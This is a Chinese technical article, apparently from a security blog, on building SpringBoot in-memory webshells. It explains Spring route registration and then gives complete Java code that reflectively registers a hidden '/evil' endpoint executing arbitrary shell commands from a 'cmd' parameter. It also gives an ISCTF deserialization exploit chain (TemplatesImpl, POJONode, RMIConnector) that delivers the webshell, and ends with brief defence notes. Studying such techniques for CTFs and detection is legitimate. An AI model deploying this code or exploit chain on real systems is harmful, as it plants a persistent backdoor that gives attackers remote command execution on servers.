SpringBoot 内存马分析与实现<\/h1>

一、SpringBoot 应用启动与路由注册机制<\/h2>

1.1 SpringBoot 启动流程分析<\/h3>
SpringBoot 应用的启动入口是 SpringApplication.run()<\/code> 方法，该方法最终调用以下核心逻辑：<\/p>
public<\/span> ConfigurableApplicationContext run<\/span>(<\/span>String...<\/span> args)<\/span> {<\/span>
<\/span><\/span>    long<\/span> startTime =<\/span> System.<\/span>nanoTime<\/span>();<\/span>
<\/span><\/span>    DefaultBootstrapContext bootstrapContext =<\/span> this<\/span>.<\/span>createBootstrapContext<\/span>();<\/span>
<\/span><\/span>    ConfigurableApplicationContext context =<\/span> null<\/span>;<\/span>
<\/span><\/span>    this<\/span>.<\/span>configureHeadlessProperty<\/span>();<\/span>
<\/span><\/span>    SpringApplicationRunListeners listeners =<\/span> this<\/span>.<\/span>getRunListeners<\/span>(<\/span>args);<\/span>
<\/span><\/span>    listeners.<\/span>starting<\/span>(<\/span>bootstrapContext,<\/span> this<\/span>.<\/span>mainApplicationClass<\/span>);<\/span>
<\/span><\/span>    
<\/span><\/span>    try<\/span> {<\/span>
<\/span><\/span>        ApplicationArguments applicationArguments =<\/span> new<\/span> DefaultApplicationArguments(<\/span>args);<\/span>
<\/span><\/span>        ConfigurableEnvironment environment =<\/span> this<\/span>.<\/span>prepareEnvironment<\/span>(<\/span>listeners,<\/span> bootstrapContext,<\/span> applicationArguments);<\/span>
<\/span><\/span>        this<\/span>.<\/span>configureIgnoreBeanInfo<\/span>(<\/span>environment);<\/span>
<\/span><\/span>        Banner printedBanner =<\/span> this<\/span>.<\/span>printBanner<\/span>(<\/span>environment);<\/span>
<\/span><\/span>        context =<\/span> this<\/span>.<\/span>createApplicationContext<\/span>();<\/span>
<\/span><\/span>        context.<\/span>setApplicationStartup<\/span>(<\/span>this<\/span>.<\/span>applicationStartup<\/span>);<\/span>
<\/span><\/span>        this<\/span>.<\/span>prepareContext<\/span>(<\/span>bootstrapContext,<\/span> context,<\/span> environment,<\/span> listeners,<\/span> applicationArguments,<\/span> printedBanner);<\/span>
<\/span><\/span>        this<\/span>.<\/span>refreshContext<\/span>(<\/span>context);<\/span>  \/\/ 关键方法：路由在此注册
<\/span><\/span><\/span><\/span>        this<\/span>.<\/span>afterRefresh<\/span>(<\/span>context,<\/span> applicationArguments);<\/span>
<\/span><\/span>        \/\/ ... 后续处理
<\/span><\/span><\/span><\/span>    }<\/span> catch<\/span> (<\/span>Throwable ex)<\/span> {<\/span>
<\/span><\/span>        \/\/ 异常处理
<\/span><\/span><\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>1.2 路由注册关键路径<\/h3>
路由注册的核心在于 refreshContext(context)<\/code> 方法调用链：<\/p>
SpringApplication.run()
 └── refreshContext()
     └── AbstractApplicationContext.refresh()
         ├── invokeBeanFactoryPostProcessors()
         │   └── ConfigurationClassPostProcessor
         │       └── @ComponentScan → 发现 @Controller → 注册为 BeanDefinition
         └── finishBeanFactoryInitialization()
             └── 初始化 RequestMappingHandlerMapping Bean
                 └── afterPropertiesSet()
                     └── initHandlerMethods()
                         ├── 遍历所有 BeanDefinition
                         ├── isHandler(YourController.class) → true
                         └── detectHandlerMethods("yourController")
                             └── 解析 @GetMapping("\/api\/users") 等
                                 └── 注册到 handlerMethods Map
<\/code><\/pre>
1.3 路由注册详细过程<\/h3>
在 finishBeanFactoryInitialization(beanFactory)<\/code> 方法中：<\/p>

初始化 RequestMappingHandlerMapping Bean<\/strong><\/li>
调用 afterPropertiesSet()<\/code> 方法<\/li>
执行 initHandlerMethods()<\/code> 流程：

获取所有候选 Bean 名称<\/li>
对每个 Bean 检查是否为 Controller：
protected<\/span> boolean<\/span> isHandler<\/span>(<\/span>Class<?><\/span> beanType)<\/span> {<\/span>
<\/span><\/span>    return<\/span> AnnotatedElementUtils.<\/span>hasAnnotation<\/span>(<\/span>beanType,<\/span> Controller.<\/span>class<\/span>)<\/span> ||<\/span>
<\/span><\/span>           AnnotatedElementUtils.<\/span>hasAnnotation<\/span>(<\/span>beanType,<\/span> RestController.<\/span>class<\/span>);<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre><\/li>
若是 Controller，则调用 detectHandlerMethods(beanName)<\/code><\/li>
解析方法上的 @RequestMapping<\/code> 及其派生注解<\/li>
构建 RequestMappingInfo<\/code> 对象<\/li>
创建 HandlerMethod<\/code> 对象<\/li>
注册到内部映射表：this.handlerMethods.put(mapping, handlerMethod)<\/code><\/li>
<\/ul>
<\/li>
<\/ol>
二、HTTP 请求处理流程<\/h2>
2.1 请求分发机制<\/h3>
核心处理逻辑在 DispatcherServlet.doDispatch()<\/code> 方法中：<\/p>
protected<\/span> void<\/span> doDispatch<\/span>(<\/span>HttpServletRequest request,<\/span> HttpServletResponse response)<\/span> throws<\/span> Exception {<\/span>
<\/span><\/span>    HttpServletRequest processedRequest =<\/span> request;<\/span>
<\/span><\/span>    HandlerExecutionChain mappedHandler =<\/span> null<\/span>;<\/span>
<\/span><\/span>    
<\/span><\/span>    try<\/span> {<\/span>
<\/span><\/span>        processedRequest =<\/span> this<\/span>.<\/span>checkMultipart<\/span>(<\/span>request);<\/span>
<\/span><\/span>        mappedHandler =<\/span> this<\/span>.<\/span>getHandler<\/span>(<\/span>processedRequest);<\/span>  \/\/ 关键：获取处理器
<\/span><\/span><\/span><\/span>        
<\/span><\/span>        if<\/span> (<\/span>mappedHandler ==<\/span> null<\/span>)<\/span> {<\/span>
<\/span><\/span>            this<\/span>.<\/span>noHandlerFound<\/span>(<\/span>processedRequest,<\/span> response);<\/span>
<\/span><\/span>            return<\/span>;<\/span>
<\/span><\/span>        }<\/span>
<\/span><\/span>        
<\/span><\/span>        \/\/ 后续处理逻辑
<\/span><\/span><\/span><\/span>    }<\/span> catch<\/span> (<\/span>Exception ex)<\/span> {<\/span>
<\/span><\/span>        \/\/ 异常处理
<\/span><\/span><\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>2.2 处理器查找过程<\/h3>
getHandler()<\/code> 方法通过不同的 HandlerMapping<\/code> 依次处理请求：<\/p>
protected<\/span> HandlerExecutionChain getHandler<\/span>(<\/span>HttpServletRequest request)<\/span> throws<\/span> Exception {<\/span>
<\/span><\/span>    if<\/span> (<\/span>this<\/span>.<\/span>handlerMappings<\/span> !=<\/span> null<\/span>)<\/span> {<\/span>
<\/span><\/span>        for<\/span> (<\/span>HandlerMapping mapping :<\/span> this<\/span>.<\/span>handlerMappings<\/span>)<\/span> {<\/span>
<\/span><\/span>            HandlerExecutionChain handler =<\/span> mapping.<\/span>getHandler<\/span>(<\/span>request);<\/span>
<\/span><\/span>            if<\/span> (<\/span>handler !=<\/span> null<\/span>)<\/span> {<\/span>
<\/span><\/span>                return<\/span> handler;<\/span>
<\/span><\/span>            }<\/span>
<\/span><\/span>        }<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>    return<\/span> null<\/span>;<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>2.3 路由匹配核心逻辑<\/h3>
在 AbstractHandlerMethodMapping.lookupHandlerMethod()<\/code> 中：<\/p>
protected<\/span> HandlerMethod lookupHandlerMethod<\/span>(<\/span>String lookupPath,<\/span> HttpServletRequest request)<\/span> throws<\/span> Exception {<\/span>
<\/span><\/span>    List<<\/span>Match><\/span> matches =<\/span> new<\/span> ArrayList<>();<\/span>
<\/span><\/span>    List<<\/span>T><\/span> directPathMatches =<\/span> this<\/span>.<\/span>mappingRegistry<\/span>.<\/span>getMappingsByDirectPath<\/span>(<\/span>lookupPath);<\/span>
<\/span><\/span>    
<\/span><\/span>    if<\/span> (<\/span>directPathMatches !=<\/span> null<\/span>)<\/span> {<\/span>
<\/span><\/span>        this<\/span>.<\/span>addMatchingMappings<\/span>(<\/span>directPathMatches,<\/span> matches,<\/span> request);<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>    
<\/span><\/span>    if<\/span> (<\/span>matches.<\/span>isEmpty<\/span>())<\/span> {<\/span>
<\/span><\/span>        this<\/span>.<\/span>addMatchingMappings<\/span>(<\/span>this<\/span>.<\/span>mappingRegistry<\/span>.<\/span>getRegistrations<\/span>().<\/span>keySet<\/span>(),<\/span> matches,<\/span> request);<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>    
<\/span><\/span>    \/\/ 匹配逻辑处理
<\/span><\/span><\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>路径匹配的关键在于 getMatchingMapping()<\/code> 方法，该方法检查请求参数、请求头和请求路径是否与 RequestMappingInfo<\/code> 匹配。<\/p>
三、SpringBoot 内存马实现<\/h2>
3.1 旧版内存马实现及问题<\/h3>
3.1.1 传统实现方式<\/h4>
@RestController<\/span>
<\/span><\/span>public<\/span> class<\/span> InjectController<\/span> {<\/span>
<\/span><\/span>    @RequestMapping<\/span>(<\/span>"\/inject"<\/span>)<\/span>
<\/span><\/span>    public<\/span> String inject<\/span>()<\/span> throws<\/span> Exception {<\/span>
<\/span><\/span>        WebApplicationContext context =<\/span> (<\/span>WebApplicationContext)<\/span> RequestContextHolder.<\/span>currentRequestAttributes<\/span>()<\/span>
<\/span><\/span>                .<\/span>getAttribute<\/span>(<\/span>"org.springframework.web.servlet.DispatcherServlet.CONTEXT"<\/span>,<\/span> 0<\/span>);<\/span>
<\/span><\/span>        
<\/span><\/span>        RequestMappingHandlerMapping requestMappingHandlerMapping =<\/span> context.<\/span>getBean<\/span>(<\/span>RequestMappingHandlerMapping.<\/span>class<\/span>);<\/span>
<\/span><\/span>        Method method =<\/span> Evil.<\/span>class<\/span>.<\/span>getMethod<\/span>(<\/span>"cmd"<\/span>);<\/span>
<\/span><\/span>        
<\/span><\/span>        PatternsRequestCondition url =<\/span> new<\/span> PatternsRequestCondition(<\/span>"\/evil"<\/span>);<\/span>
<\/span><\/span>        RequestMethodsRequestCondition condition =<\/span> new<\/span> RequestMethodsRequestCondition(<\/span>RequestMethod.<\/span>GET<\/span>);<\/span>
<\/span><\/span>        RequestMappingInfo info =<\/span> new<\/span> RequestMappingInfo(<\/span>url,<\/span> condition,<\/span> null<\/span>,<\/span> null<\/span>,<\/span> null<\/span>,<\/span> null<\/span>,<\/span> null<\/span>);<\/span>
<\/span><\/span>        
<\/span><\/span>        Evil injectedController =<\/span> new<\/span> Evil();<\/span>
<\/span><\/span>        requestMappingHandlerMapping.<\/span>registerMapping<\/span>(<\/span>info,<\/span> injectedController,<\/span> method);<\/span>
<\/span><\/span>        
<\/span><\/span>        return<\/span> "inject ok"<\/span>;<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>3.1.2 新版 SpringBoot 兼容性问题<\/h4>
在新版 SpringBoot 中，上述代码会报错：<\/p>
java.lang.IllegalArgumentException: Expected lookupPath in request attribute "org.springframework.web.util.UrlPathHelper.PATH"
<\/code><\/pre>
问题根源分析：<\/strong><\/p>

新版本 SpringBoot 默认使用 PathPatternsRequestCondition<\/code> 路径解析器<\/li>
旧版实现使用 PatternsRequestCondition<\/code> 解析器<\/li>
PatternsRequestCondition<\/code> 需要 request 对象包含 org.springframework.web.util.UrlPathHelper.PATH<\/code> 属性<\/li>
新版默认不设置该属性，导致匹配失败<\/li>
<\/ol>
3.2 新版内存马实现方案<\/h3>
3.2.1 兼容新版的实现代码<\/h4>
@RestController<\/span>
<\/span><\/span>public<\/span> class<\/span> InjectController<\/span> {<\/span>
<\/span><\/span>    @RequestMapping<\/span>(<\/span>"\/inject"<\/span>)<\/span>
<\/span><\/span>    public<\/span> String inject<\/span>()<\/span> throws<\/span> Exception {<\/span>
<\/span><\/span>        WebApplicationContext context =<\/span> (<\/span>WebApplicationContext)<\/span> RequestContextHolder.<\/span>currentRequestAttributes<\/span>()<\/span>
<\/span><\/span>                .<\/span>getAttribute<\/span>(<\/span>"org.springframework.web.servlet.DispatcherServlet.CONTEXT"<\/span>,<\/span> 0<\/span>);<\/span>
<\/span><\/span>        
<\/span><\/span>        RequestMappingHandlerMapping requestMappingHandlerMapping =<\/span> context.<\/span>getBean<\/span>(<\/span>RequestMappingHandlerMapping.<\/span>class<\/span>);<\/span>
<\/span><\/span>        Method method =<\/span> Evil.<\/span>class<\/span>.<\/span>getMethod<\/span>(<\/span>"cmd"<\/span>);<\/span>
<\/span><\/span>        
<\/span><\/span>        \/\/ 构造默认条件
<\/span><\/span><\/span><\/span>        RequestMethodsRequestCondition methods =<\/span> new<\/span> RequestMethodsRequestCondition(<\/span>new<\/span> RequestMethod[<\/span>0<\/span>]);<\/span>
<\/span><\/span>        ParamsRequestCondition params =<\/span> new<\/span> ParamsRequestCondition(<\/span>new<\/span> String[<\/span>0<\/span>]);<\/span>
<\/span><\/span>        HeadersRequestCondition headers =<\/span> new<\/span> HeadersRequestCondition(<\/span>new<\/span> String[<\/span>0<\/span>]);<\/span>
<\/span><\/span>        ConsumesRequestCondition consumes =<\/span> new<\/span> ConsumesRequestCondition(<\/span>new<\/span> String[<\/span>0<\/span>]);<\/span>
<\/span><\/span>        ProducesRequestCondition produces =<\/span> new<\/span> ProducesRequestCondition(<\/span>new<\/span> String[<\/span>0<\/span>]);<\/span>
<\/span><\/span>        RequestConditionHolder custom =<\/span> new<\/span> RequestConditionHolder(<\/span>null<\/span>);<\/span>
<\/span><\/span>        RequestMappingInfo.<\/span>BuilderConfiguration<\/span> option =<\/span> new<\/span> RequestMappingInfo.<\/span>BuilderConfiguration<\/span>();<\/span>
<\/span><\/span>        
<\/span><\/span>        \/\/ 使用 PathPatternsRequestCondition（新版解析器）
<\/span><\/span><\/span><\/span>        PathPatternParser parser =<\/span> new<\/span> PathPatternParser();<\/span>
<\/span><\/span>        PathPatternsRequestCondition url =<\/span> new<\/span> PathPatternsRequestCondition(<\/span>parser,<\/span> "\/evil"<\/span>);<\/span>
<\/span><\/span>        
<\/span><\/span>        \/\/ 通过反射构造 RequestMappingInfo
<\/span><\/span><\/span><\/span>        Constructor<<\/span>RequestMappingInfo><\/span> constructor =<\/span> RequestMappingInfo.<\/span>class<\/span>.<\/span>getDeclaredConstructor<\/span>(<\/span>
<\/span><\/span>            String.<\/span>class<\/span>,<\/span>                    \/\/ name
<\/span><\/span><\/span><\/span>            PathPatternsRequestCondition.<\/span>class<\/span>,<\/span> \/\/ pathPatternsCondition
<\/span><\/span><\/span><\/span>            PatternsRequestCondition.<\/span>class<\/span>,<\/span>    \/\/ patternsCondition
<\/span><\/span><\/span><\/span>            RequestMethodsRequestCondition.<\/span>class<\/span>,<\/span>
<\/span><\/span>            ParamsRequestCondition.<\/span>class<\/span>,<\/span>
<\/span><\/span>            HeadersRequestCondition.<\/span>class<\/span>,<\/span>
<\/span><\/span>            ConsumesRequestCondition.<\/span>class<\/span>,<\/span>
<\/span><\/span>            ProducesRequestCondition.<\/span>class<\/span>,<\/span>
<\/span><\/span>            RequestConditionHolder.<\/span>class<\/span>,<\/span>
<\/span><\/span>            RequestMappingInfo.<\/span>BuilderConfiguration<\/span>.<\/span>class<\/span>
<\/span><\/span>        );<\/span>
<\/span><\/span>        
<\/span><\/span>        constructor.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span>
<\/span><\/span>        RequestMappingInfo info =<\/span> constructor.<\/span>newInstance<\/span>(<\/span>null<\/span>,<\/span> url,<\/span> null<\/span>,<\/span> methods,<\/span> params,<\/span> 
<\/span><\/span>            headers,<\/span> consumes,<\/span> produces,<\/span> custom,<\/span> option);<\/span>
<\/span><\/span>        
<\/span><\/span>        Evil injectedController =<\/span> new<\/span> Evil();<\/span>
<\/span><\/span>        requestMappingHandlerMapping.<\/span>registerMapping<\/span>(<\/span>info,<\/span> injectedController,<\/span> method);<\/span>
<\/span><\/span>        
<\/span><\/span>        return<\/span> "inject ok"<\/span>;<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>    
<\/span><\/span>    public<\/span> static<\/span> class<\/span> Evil<\/span> {<\/span>
<\/span><\/span>        public<\/span> void<\/span> cmd<\/span>()<\/span> throws<\/span> Exception {<\/span>
<\/span><\/span>            HttpServletRequest request =<\/span> ((<\/span>ServletRequestAttributes)<\/span> RequestContextHolder.<\/span>currentRequestAttributes<\/span>()).<\/span>getRequest<\/span>();<\/span>
<\/span><\/span>            HttpServletResponse response =<\/span> ((<\/span>ServletRequestAttributes)<\/span> RequestContextHolder.<\/span>currentRequestAttributes<\/span>()).<\/span>getResponse<\/span>();<\/span>
<\/span><\/span>            
<\/span><\/span>            String cmd =<\/span> request.<\/span>getParameter<\/span>(<\/span>"cmd"<\/span>);<\/span>
<\/span><\/span>            if<\/span> (<\/span>cmd !=<\/span> null<\/span>)<\/span> {<\/span>
<\/span><\/span>                boolean<\/span> isWindows =<\/span> System.<\/span>getProperty<\/span>(<\/span>"os.name"<\/span>).<\/span>toLowerCase<\/span>().<\/span>contains<\/span>(<\/span>"win"<\/span>);<\/span>
<\/span><\/span>                String[]<\/span> cmds =<\/span> isWindows ?<\/span> new<\/span> String[]{<\/span>"cmd.exe"<\/span>,<\/span> "\/c"<\/span>,<\/span> cmd}<\/span> :<\/span> new<\/span> String[]{<\/span>"sh"<\/span>,<\/span> "-c"<\/span>,<\/span> cmd};<\/span>
<\/span><\/span>                
<\/span><\/span>                InputStream in =<\/span> Runtime.<\/span>getRuntime<\/span>().<\/span>exec<\/span>(<\/span>cmds).<\/span>getInputStream<\/span>();<\/span>
<\/span><\/span>                Scanner s =<\/span> new<\/span> Scanner(<\/span>in).<\/span>useDelimiter<\/span>(<\/span>"\\A"<\/span>);<\/span>
<\/span><\/span>                String output =<\/span> s.<\/span>hasNext<\/span>()<\/span> ?<\/span> s.<\/span>next<\/span>()<\/span> :<\/span> ""<\/span>;<\/span>
<\/span><\/span>                
<\/span><\/span>                response.<\/span>getWriter<\/span>().<\/span>write<\/span>(<\/span>output);<\/span>
<\/span><\/span>                response.<\/span>getWriter<\/span>().<\/span>flush<\/span>();<\/span>
<\/span><\/span>                response.<\/span>getWriter<\/span>().<\/span>close<\/span>();<\/span>
<\/span><\/span>            }<\/span>
<\/span><\/span>        }<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>3.2.2 关键技术要点<\/h4>


路径解析器选择<\/strong>：<\/p>

新版：PathPatternsRequestCondition<\/code><\/li>
旧版：PatternsRequestCondition<\/code><\/li>
<\/ul>
<\/li>

反射构造<\/strong>：由于 RequestMappingInfo<\/code> 的公共构造函数只能创建旧版解析器，必须使用反射<\/p>
<\/li>

条件设置<\/strong>：需要设置完整的请求条件（方法、参数、头部等）<\/p>
<\/li>
<\/ol>
四、实战案例：ISCTF-load_jvav<\/h2>
4.1 漏洞利用场景<\/h3>
在反序列化漏洞环境中，通过二次反序列化注入内存马：<\/p>
public<\/span> class<\/span> Exploit<\/span> {<\/span>
<\/span><\/span>    public<\/span> static<\/span> void<\/span> main<\/span>(<\/span>String[]<\/span> args)<\/span> throws<\/span> Exception {<\/span>
<\/span><\/span>        \/\/ 加载恶意类字节码
<\/span><\/span><\/span><\/span>        byte<\/span>[]<\/span> injectClassBytes =<\/span> loadClassBytes(<\/span>"InjectClass.class"<\/span>);<\/span>
<\/span><\/span>        byte<\/span>[]<\/span> evilClassBytes =<\/span> loadClassBytes(<\/span>"InjectClass$Evil.class"<\/span>);<\/span>
<\/span><\/span>        
<\/span><\/span>        \/\/ 构造 TemplatesImpl 链
<\/span><\/span><\/span><\/span>        TemplatesImpl templates =<\/span> new<\/span> TemplatesImpl();<\/span>
<\/span><\/span>        setField(<\/span>templates,<\/span> "_name"<\/span>,<\/span> "test"<\/span>);<\/span>
<\/span><\/span>        setField(<\/span>templates,<\/span> "_bytecodes"<\/span>,<\/span> new<\/span> byte<\/span>[][]{<\/span>injectClassBytes,<\/span> evilClassBytes});<\/span>
<\/span><\/span>        setField(<\/span>templates,<\/span> "_tfactory"<\/span>,<\/span> new<\/span> TransformerFactoryImpl());<\/span>
<\/span><\/span>        
<\/span><\/span>        \/\/ 构造反序列化利用链
<\/span><\/span><\/span><\/span>        POJONode pojoNode =<\/span> new<\/span> POJONode(<\/span>templates);<\/span>
<\/span><\/span>        BadAttributeValueExpException badAttribute =<\/span> new<\/span> BadAttributeValueExpException(<\/span>null<\/span>);<\/span>
<\/span><\/span>        setField(<\/span>badAttribute,<\/span> "val"<\/span>,<\/span> pojoNode);<\/span>
<\/span><\/span>        
<\/span><\/span>        \/\/ 通过 RMIConnector 触发二次反序列化
<\/span><\/span><\/span><\/span>        JMXServiceURL jmxServiceURL =<\/span> new<\/span> JMXServiceURL(<\/span>"service:jmx:rmi:\/\/"<\/span>);<\/span>
<\/span><\/span>        setField(<\/span>jmxServiceURL,<\/span> "urlPath"<\/span>,<\/span> "\/stub\/"<\/span> +<\/span> base64Encode(<\/span>badAttribute));<\/span>
<\/span><\/span>        
<\/span><\/span>        RMIConnector rmiConnector =<\/span> new<\/span> RMIConnector(<\/span>jmxServiceURL,<\/span> null<\/span>);<\/span>
<\/span><\/span>        
<\/span><\/span>        \/\/ 使用 YouFindThis 类触发连接
<\/span><\/span><\/span><\/span>        YouFindThis exploit =<\/span> new<\/span> YouFindThis();<\/span>
<\/span><\/span>        exploit.<\/span>aClass<\/span> =<\/span> RMIConnector.<\/span>class<\/span>;<\/span>
<\/span><\/span>        exploit.<\/span>argclass<\/span> =<\/span> Map.<\/span>class<\/span>;<\/span>
<\/span><\/span>        exploit.<\/span>methed<\/span> =<\/span> "connect"<\/span>;<\/span>
<\/span><\/span>        exploit.<\/span>args<\/span> =<\/span> null<\/span>;<\/span>
<\/span><\/span>        exploit.<\/span>input<\/span> =<\/span> rmiConnector;<\/span>
<\/span><\/span>        
<\/span><\/span>        String payload =<\/span> base64Encode(<\/span>exploit);<\/span>
<\/span><\/span>        System.<\/span>out<\/span>.<\/span>println<\/span>(<\/span>payload);<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>4.2 内存马访问方式<\/h3>
注入成功后，通过以下 URL 执行命令：<\/p>
http:\/\/target.com\/evil?cmd=whoami
<\/code><\/pre>
五、防御与检测建议<\/h2>
5.1 防御措施<\/h3>

输入验证<\/strong>：严格验证反序列化数据源<\/li>
类过滤<\/strong>：使用安全的 ObjectInputStream<\/code> 实现，过滤危险类<\/li>
权限控制<\/strong>：限制应用运行权限<\/li>
依赖管理<\/strong>：及时更新 SpringBoot 版本<\/li>
<\/ol>
5.2 检测方法<\/h3>

动态检测<\/strong>：监控异常的 URL 注册行为<\/li>
静态分析<\/strong>：检查是否有可疑的反射调用<\/li>
运行时监控<\/strong>：监控 RequestMappingHandlerMapping<\/code> 的注册操作<\/li>
<\/ol>
六、总结<\/h2>
本文详细分析了 SpringBoot 内存马的实现原理，重点解决了新版 SpringBoot 的兼容性问题。关键点包括：<\/p>

SpringBoot 路由注册机制的理解<\/li>
新旧版路径解析器的区别与兼容方案<\/li>
反射在内存马构造中的应用<\/li>
实战环境中的综合利用技巧<\/li>
<\/ol>
通过深入理解 SpringBoot 内部机制，可以更好地进行安全防护和漏洞检测。<\/p>